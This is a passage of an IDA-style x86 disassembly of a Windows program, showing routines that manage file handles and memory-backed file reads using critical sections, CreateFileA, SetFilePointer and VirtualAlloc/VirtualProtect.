		and	[ebp+var_44], 0

loc_490E6F:				; CODE XREF: sub_490D24+145j
		push	0FFFFFFFFh
		mov	[ebp+var_48], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_48]
		jmp	short loc_490EBC
; ---------------------------------------------------------------------------

loc_490E88:				; CODE XREF: sub_490D24+A3j
		push	0FFFFFFFFh
		and	[ebp+var_4C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4C]
		jmp	short loc_490EBC
; ---------------------------------------------------------------------------

loc_490E9E:				; DATA XREF: _5:0049F330o
		mov	eax, ds:dword_4A28E8
		mov	[ebp+var_40], eax
		cmp	[ebp+var_40], 0
		jz	short locret_490EB9
		mov	eax, [ebp+var_40]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

locret_490EB9:				; CODE XREF: sub_490D24+186j
		retn
; ---------------------------------------------------------------------------

loc_490EBA:				; CODE XREF: sub_490D24+41j
					; sub_490D24+4Dj ...
		xor	eax, eax

loc_490EBC:				; CODE XREF: sub_490D24+162j
					; sub_490D24+178j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_490D24	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490ECD	proc near		; CODE XREF: sub_49C55B+Bp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F338
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_4A28E0
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_490F13
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	[ebp+var_24], 1
		jmp	short loc_490F17
; ---------------------------------------------------------------------------

loc_490F13:				; CODE XREF: sub_490ECD+31j
		and	[ebp+var_24], 0

loc_490F17:				; CODE XREF: sub_490ECD+44j
		movzx	eax, [ebp+var_24]
		test	eax, eax
		jz	loc_490FAC
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4A28E0
		call	sub_49C871
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_490F54
		push	0FFFFFFFFh
		and	[ebp+var_2C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	short loc_490FAE
; ---------------------------------------------------------------------------

loc_490F54:				; CODE XREF: sub_490ECD+6Fj
		push	8000h
		push	0
		push	[ebp+arg_0]
		call	ds:dword_4A27A8	; VirtualFree
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4A28E0
		call	sub_49C8E0
		push	0FFFFFFFFh
		mov	[ebp+var_30], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_30]
		jmp	short loc_490FAE
; ---------------------------------------------------------------------------

loc_490F90:				; DATA XREF: _5:0049F340o
		mov	eax, ds:dword_4A28E0
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	short locret_490FAB
		mov	eax, [ebp+var_28]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

locret_490FAB:				; CODE XREF: sub_490ECD+CFj
		retn
; ---------------------------------------------------------------------------

loc_490FAC:				; CODE XREF: sub_490ECD+50j
		xor	eax, eax

loc_490FAE:				; CODE XREF: sub_490ECD+85j
					; sub_490ECD+C1j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_490ECD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490FBF	proc near		; CODE XREF: sub_49C51C+17p

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F348
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 44h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		mov	eax, [ebp+arg_14]
		and	dword ptr [eax], 0
		and	[ebp+var_24], 0
		mov	[ebp+var_1C], 2
		mov	eax, ds:dword_4A28E4
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jz	short loc_49101A
		mov	eax, [ebp+var_48]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	[ebp+var_4C], 1
		jmp	short loc_49101E
; ---------------------------------------------------------------------------

loc_49101A:				; CODE XREF: sub_490FBF+46j
		and	[ebp+var_4C], 0

loc_49101E:				; CODE XREF: sub_490FBF+59j
		movzx	eax, [ebp+var_4C]
		test	eax, eax
		jz	loc_491203
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4A28E4
		call	sub_49C871
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_49105E
		push	0FFFFFFFFh
		and	[ebp+var_54], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_54]
		jmp	loc_491205
; ---------------------------------------------------------------------------

loc_49105E:				; CODE XREF: sub_490FBF+84j
		mov	eax, [ebp+var_28]
		mov	eax, [eax]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+arg_C]
		cmp	ecx, [eax+8]
		jbe	short loc_491086
		push	57h
		call	ds:dword_4A278C	; RtlRestoreLastWin32Error
		jmp	loc_4911B8
; ---------------------------------------------------------------------------

loc_491086:				; CODE XREF: sub_490FBF+B8j
		cmp	[ebp+arg_10], 0
		jnz	short loc_491098
		mov	eax, [ebp+var_30]
		mov	eax, [eax+8]
		sub	eax, [ebp+arg_C]
		mov	[ebp+arg_10], eax

loc_491098:				; CODE XREF: sub_490FBF+CBj
		mov	eax, [ebp+arg_10]
		add	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_30]
		cmp	eax, [ecx+8]
		jbe	short loc_4910B3
		push	57h
		call	ds:dword_4A278C	; RtlRestoreLastWin32Error
		jmp	loc_4911B8
; ---------------------------------------------------------------------------

loc_4910B3:				; CODE XREF: sub_490FBF+E5j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_58], eax
		cmp	[ebp+var_58], 0
		jbe	short loc_4910D7
		cmp	[ebp+var_58], 2
		jbe	short loc_4910D0
		cmp	[ebp+var_58], 0F001Fh
		jz	short loc_4910D0
		jmp	short loc_4910D7
; ---------------------------------------------------------------------------

loc_4910D0:				; CODE XREF: sub_490FBF+104j
					; sub_490FBF+10Dj
		mov	[ebp+var_1C], 4

loc_4910D7:				; CODE XREF: sub_490FBF+FEj
					; sub_490FBF+10Fj
		push	[ebp+var_1C]
		push	1000h
		push	[ebp+arg_10]
		push	0
		call	ds:dword_4A27A4	; VirtualAlloc
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_4910F8
		jmp	loc_4911B8
; ---------------------------------------------------------------------------

loc_4910F8:				; CODE XREF: sub_490FBF+132j
		cmp	[ebp+var_1C], 4
		jz	short loc_491119
		lea	eax, [ebp+var_38]
		push	eax
		push	4
		push	[ebp+arg_10]
		push	[ebp+var_20]
		call	ds:dword_4A27AC	; VirtualProtect
		test	eax, eax
		jnz	short loc_491119
		jmp	loc_4911B8
; ---------------------------------------------------------------------------

loc_491119:				; CODE XREF: sub_490FBF+13Dj
					; sub_490FBF+153j
		push	0
		push	0
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_491421
		and	[ebp+var_34], 0

loc_49112C:				; CODE XREF: sub_490FBF+1B4j
		mov	eax, [ebp+var_34]
		cmp	eax, [ebp+arg_10]
		jnb	short loc_491175
		and	[ebp+var_40], 0
		lea	eax, [ebp+var_3C]
		push	eax
		push	0
		lea	eax, [ebp+var_40]
		push	eax
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_34]
		push	eax
		mov	eax, [ebp+var_20]
		add	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		call	sub_492177
		test	eax, eax
		jz	short loc_491168
		cmp	[ebp+var_3C], 0
		jz	short loc_491168
		cmp	[ebp+var_40], 0
		jnz	short loc_49116A

loc_491168:				; CODE XREF: sub_490FBF+19Bj
					; sub_490FBF+1A1j
		jmp	short loc_4911B8
; ---------------------------------------------------------------------------

loc_49116A:				; CODE XREF: sub_490FBF+1A7j
		mov	eax, [ebp+var_34]
		add	eax, [ebp+var_40]
		mov	[ebp+var_34], eax
		jmp	short loc_49112C
; ---------------------------------------------------------------------------

loc_491175:				; CODE XREF: sub_490FBF+173j
		cmp	[ebp+var_1C], 4
		jz	short loc_491194
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_1C]
		push	[ebp+arg_10]
		push	[ebp+var_20]
		call	ds:dword_4A27AC	; VirtualProtect
		test	eax, eax
		jnz	short loc_491194
		jmp	short loc_4911B8
; ---------------------------------------------------------------------------

loc_491194:				; CODE XREF: sub_490FBF+1BAj
					; sub_490FBF+1D1j
		push	[ebp+var_2C]
		push	[ebp+var_20]
		mov	ecx, ds:dword_4A28E0
		call	sub_48D000
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_20]
		mov	[eax], ecx
		and	[ebp+var_20], 0
		mov	[ebp+var_24], 1

loc_4911B8:				; CODE XREF: sub_490FBF+C2j
					; sub_490FBF+EFj ...
		push	0FFFFFFFFh
		mov	[ebp+var_5C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_5C]
		jmp	short loc_491205
; ---------------------------------------------------------------------------

loc_4911D1:				; DATA XREF: _5:0049F350o
		mov	eax, ds:dword_4A28E4
		mov	[ebp+var_50], eax
		cmp	[ebp+var_50], 0
		jz	short loc_4911EC
		mov	eax, [ebp+var_50]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

loc_4911EC:				; CODE XREF: sub_490FBF+21Ej
		cmp	[ebp+var_20], 0
		jz	short locret_491202
		push	8000h
		push	0
		push	[ebp+var_20]
		call	ds:dword_4A27A8	; VirtualFree

locret_491202:				; CODE XREF: sub_490FBF+231j
		retn
; ---------------------------------------------------------------------------

loc_491203:				; CODE XREF: sub_490FBF+65j
		xor	eax, eax

loc_491205:				; CODE XREF: sub_490FBF+9Aj
					; sub_490FBF+210j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
sub_490FBF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_491216	proc near		; CODE XREF: sub_49C4A4+11p
					; sub_49C4E0+11p

var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00491333 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F358
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		mov	eax, ds:dword_4A28E4
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	short loc_491262
		mov	eax, [ebp+var_28]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	[ebp+var_2C], 1
		jmp	short loc_491266
; ---------------------------------------------------------------------------

loc_491262:				; CODE XREF: sub_491216+37j
		and	[ebp+var_2C], 0

loc_491266:				; CODE XREF: sub_491216+4Aj
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jz	loc_491333
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4A28E4
		call	sub_49C871
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_49130C
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	eax, [eax+0Ch]
		push	dword ptr [eax+0Ch]
		call	ds:dword_4A26A8	; CreateFileA
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jz	short loc_4912F3
		push	10h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_20], eax
		mov	esi, [ebp+var_1C]
		mov	edi, [ebp+var_20]
		movsd
		movsd
		movsd
		movsd
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx]
		mov	[eax+8], ecx
		push	[ebp+var_20]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		mov	ecx, ds:dword_4A28E4
		call	sub_49C98E

loc_4912F3:				; CODE XREF: sub_491216+A2j
		push	0FFFFFFFFh
		mov	[ebp+var_34], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_34]
		jmp	short loc_491335
; ---------------------------------------------------------------------------

loc_49130C:				; CODE XREF: sub_491216+75j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_491317
		jmp	short loc_491333
sub_491216	endp


; =============== S U B	R O U T	I N E =======================================



sub_491317	proc near		; CODE XREF: sub_491216+FAp
					; DATA XREF: _5:0049F360o
		mov	eax, ds:dword_4A28E4
		mov	[ebp-30h], eax
		cmp	dword ptr [ebp-30h], 0
		jz	short locret_491332
		mov	eax, [ebp-30h]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

locret_491332:				; CODE XREF: sub_491317+Cj
		retn
sub_491317	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_491216

loc_491333:				; CODE XREF: sub_491216+56j
					; sub_491216+FFj
		xor	eax, eax

loc_491335:				; CODE XREF: sub_491216+F4j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_491216

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_491346	proc near		; CODE XREF: sub_48D3F3+17p
					; sub_490036+39p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_C]
		or	dword ptr [eax], 0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_49253F
		test	eax, eax
		jz	loc_49141B
		movzx	eax, [ebp+var_C]
		test	eax, eax
		jnz	loc_49141B
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+var_4]
		mov	eax, [eax+0Ch]
		push	dword ptr [eax+0Ch]
		call	ds:dword_4A26A8	; CreateFileA
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_491416
		push	0
		push	0
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+4]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	ds:dword_4A2788	; SetFilePointer
		push	10h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_10]
		and	dword ptr [eax+4], 0
		movzx	eax, [ebp+arg_10]
		neg	eax
		sbb	eax, eax
		and	eax, 0C0000000h
		add	eax, 40000000h
		mov	ecx, [ebp+var_10]
		mov	[ecx+0Ch], eax
		push	[ebp+var_10]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		mov	ecx, ds:dword_4A28E4
		call	sub_48D000

loc_491416:				; CODE XREF: sub_491346+63j
		push	1
		pop	eax
		jmp	short locret_49141D
; ---------------------------------------------------------------------------

loc_49141B:				; CODE XREF: sub_491346+20j
					; sub_491346+2Cj
		xor	eax, eax

locret_49141D:				; CODE XREF: sub_491346+D3j
		leave
		retn	14h
sub_491346	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_491421	proc near		; CODE XREF: sub_490FBF+164p
					; sub_496BD7+11Dp ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 0049165F SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F368
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_C], 0
		jnz	short loc_491452
		lea	eax, [ebp+var_1C]
		mov	[ebp+arg_C], eax

loc_491452:				; CODE XREF: sub_491421+29j
		mov	eax, ds:dword_4A28E4
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_491473
		mov	eax, [ebp+var_2C]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	[ebp+var_30], 1
		jmp	short loc_491477
; ---------------------------------------------------------------------------

loc_491473:				; CODE XREF: sub_491421+3Dj
		and	[ebp+var_30], 0

loc_491477:				; CODE XREF: sub_491421+50j
		movzx	eax, [ebp+var_30]
		test	eax, eax
		jz	loc_49165F
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4A28E4
		call	sub_49C871
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	loc_491638
		mov	eax, [ebp+var_24]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_24]
		mov	eax, [eax+0Ch]
		and	eax, 1
		test	eax, eax
		jz	short loc_4914EB
		push	[ebp+arg_8]
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A2788	; SetFilePointer
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		push	0FFFFFFFFh
		mov	[ebp+var_38], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_38]
		jmp	loc_491661
; ---------------------------------------------------------------------------

loc_4914EB:				; CODE XREF: sub_491421+96j
		mov	eax, [ebp+var_24]
		mov	eax, [eax+4]
		mov	[ebp+var_28], eax
		cmp	[ebp+arg_8], 0
		jnz	short loc_49154D
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [eax+8]
		jle	short loc_49151E
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_20]
		mov	ecx, [ecx+8]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+4]
		mov	[eax], ecx
		jmp	short loc_491548
; ---------------------------------------------------------------------------

loc_49151E:				; CODE XREF: sub_491421+E2j
		cmp	[ebp+arg_4], 0
		jge	short loc_491537
		mov	eax, [ebp+arg_C]
		or	dword ptr [eax], 0FFFFFFFFh
		push	83h
		call	ds:dword_4A278C	; RtlRestoreLastWin32Error
		jmp	short loc_491548
; ---------------------------------------------------------------------------

loc_491537:				; CODE XREF: sub_491421+101j
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx

loc_491548:				; CODE XREF: sub_491421+FBj
					; sub_491421+114j
		jmp	loc_49161F
; ---------------------------------------------------------------------------

loc_49154D:				; CODE XREF: sub_491421+D7j
		cmp	[ebp+arg_8], 2
		jnz	short loc_4915AE
		cmp	[ebp+arg_4], 0
		jle	short loc_491572
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_20]
		mov	ecx, [ecx+8]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+4]
		mov	[eax], ecx
		jmp	short loc_4915AC
; ---------------------------------------------------------------------------

loc_491572:				; CODE XREF: sub_491421+136j
		mov	eax, [ebp+var_20]
		mov	eax, [eax+8]
		neg	eax
		cmp	[ebp+arg_4], eax
		jge	short loc_491592
		mov	eax, [ebp+arg_C]
		or	dword ptr [eax], 0FFFFFFFFh
		push	83h
		call	ds:dword_4A278C	; RtlRestoreLastWin32Error
		jmp	short loc_4915AC
; ---------------------------------------------------------------------------

loc_491592:				; CODE XREF: sub_491421+15Cj
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_4]
		add	ecx, [eax+8]
		mov	eax, [ebp+var_24]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+4]
		mov	[eax], ecx

loc_4915AC:				; CODE XREF: sub_491421+14Fj
					; sub_491421+16Fj
		jmp	short loc_49161F
; ---------------------------------------------------------------------------

loc_4915AE:				; CODE XREF: sub_491421+130j
		cmp	[ebp+arg_8], 1
		jnz	short loc_491611
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_20]
		cmp	eax, [ecx+8]
		jle	short loc_4915DB
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_20]
		mov	ecx, [ecx+8]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+4]
		mov	[eax], ecx
		jmp	short loc_49160F
; ---------------------------------------------------------------------------

loc_4915DB:				; CODE XREF: sub_491421+19Fj
		mov	eax, [ebp+var_28]
		add	eax, [ebp+arg_4]
		test	eax, eax
		jge	short loc_4915F8
		mov	eax, [ebp+arg_C]
		or	dword ptr [eax], 0FFFFFFFFh
		push	83h
		call	ds:dword_4A278C	; RtlRestoreLastWin32Error
		jmp	short loc_49160F
; ---------------------------------------------------------------------------

loc_4915F8:				; CODE XREF: sub_491421+1C2j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+4]
		mov	[eax], ecx

loc_49160F:				; CODE XREF: sub_491421+1B8j
					; sub_491421+1D5j
		jmp	short loc_49161F
; ---------------------------------------------------------------------------

loc_491611:				; CODE XREF: sub_491421+191j
		mov	eax, [ebp+arg_C]
		or	dword ptr [eax], 0FFFFFFFFh
		push	57h
		call	ds:dword_4A278C	; RtlRestoreLastWin32Error

loc_49161F:				; CODE XREF: sub_491421:loc_491548j
					; sub_491421:loc_4915ACj ...
		push	0FFFFFFFFh
		mov	[ebp+var_3C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_3C]
		jmp	short loc_491661
; ---------------------------------------------------------------------------

loc_491638:				; CODE XREF: sub_491421+7Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_491643
		jmp	short loc_49165F
sub_491421	endp


; =============== S U B	R O U T	I N E =======================================



sub_491643	proc near		; CODE XREF: sub_491421+21Bp
					; DATA XREF: _5:0049F370o
		mov	eax, ds:dword_4A28E4
		mov	[ebp-34h], eax
		cmp	dword ptr [ebp-34h], 0
		jz	short locret_49165E
		mov	eax, [ebp-34h]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

locret_49165E:				; CODE XREF: sub_491643+Cj
		retn
sub_491643	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_491421

loc_49165F:				; CODE XREF: sub_491421+5Cj
					; sub_491421+220j
		xor	eax, eax

loc_491661:				; CODE XREF: sub_491421+C5j
					; sub_491421+215j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_491421

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_491672	proc near		; CODE XREF: sub_492CC4+80p
					; sub_496456+58p ...

var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0049172E SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F378
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_4A28E4
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_4916B8
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	[ebp+var_24], 1
		jmp	short loc_4916BC
; ---------------------------------------------------------------------------

loc_4916B8:				; CODE XREF: sub_491672+31j
		and	[ebp+var_24], 0

loc_4916BC:				; CODE XREF: sub_491672+44j
		movzx	eax, [ebp+var_24]
		test	eax, eax
		jz	short loc_49172E
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4A28E4
		call	sub_49C871
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_491707
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+8]
		mov	[ecx], eax
		push	0FFFFFFFFh
		mov	[ebp+var_2C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	short loc_491730
; ---------------------------------------------------------------------------

loc_491707:				; CODE XREF: sub_491672+6Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_491712
		jmp	short loc_49172E
sub_491672	endp


; =============== S U B	R O U T	I N E =======================================



sub_491712	proc near		; CODE XREF: sub_491672+99p
					; DATA XREF: _5:0049F380o
		mov	eax, ds:dword_4A28E4
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0
		jz	short locret_49172D
		mov	eax, [ebp-28h]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

locret_49172D:				; CODE XREF: sub_491712+Cj
		retn
sub_491712	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_491672

loc_49172E:				; CODE XREF: sub_491672+50j
					; sub_491672+9Ej
		xor	eax, eax

loc_491730:				; CODE XREF: sub_491672+93j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
